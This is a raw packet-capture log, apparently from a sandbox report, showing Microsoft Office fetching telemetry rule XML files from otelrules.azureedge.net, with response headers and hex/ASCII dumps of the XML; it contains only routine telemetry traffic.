2024-11-23 14:38:07 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:07 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143807Z-15b8b599d88cn5thhC1TEBqxkn00000002v000000000he9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:08 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:09 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:09 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143809Z-178bfbc474bpnd5vhC1NYC4vr400000004pg000000002v68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:09 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:09 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:09 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 6d656984-c01e-008d-0d1b-3d2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143809Z-178bfbc474bwlrhlhC1NYCy3kg00000004fg00000000m26t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:09 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:09 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e297a76c-801e-0083-6c67-3df0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143809Z-15b8b599d88hd9g7hC1TEBp75c000000035000000000030b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:10 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:09 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143811Z-178bfbc474bvjk8shC1NYC83ns00000004h0000000001sfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:09 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:10 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 529557e1-c01e-0079-5045-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143810Z-15b8b599d885ffrhhC1TEBtuv0000000030000000000mnhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:11 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c49a2be7-d01e-005a-3155-3c7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143811Z-15b8b599d885v8r9hC1TEB104g000000031000000000fx8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:11 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 40694bf4-501e-008c-7530-3ccd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143811Z-178bfbc474bw8bwphC1NYC38b400000004g0000000003w9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:11 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:12 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: f6495d06-a01e-0021-3357-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143812Z-178bfbc474bnwsh4hC1NYC2ubs00000004n000000000cdzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:12 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:12 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 38a59648-401e-00ac-39a0-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143812Z-174c587ffdftjz9shC1TEBsh9800000002xg00000000azqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:13 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:13 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143813Z-174c587ffdfb5q56hC1TEB04kg000000030g000000008kvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:13 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:13 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: fa2bbe9c-f01e-0052-6fac-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143813Z-15b8b599d88s6mj9hC1TEBur3000000002vg00000000be1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:14 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 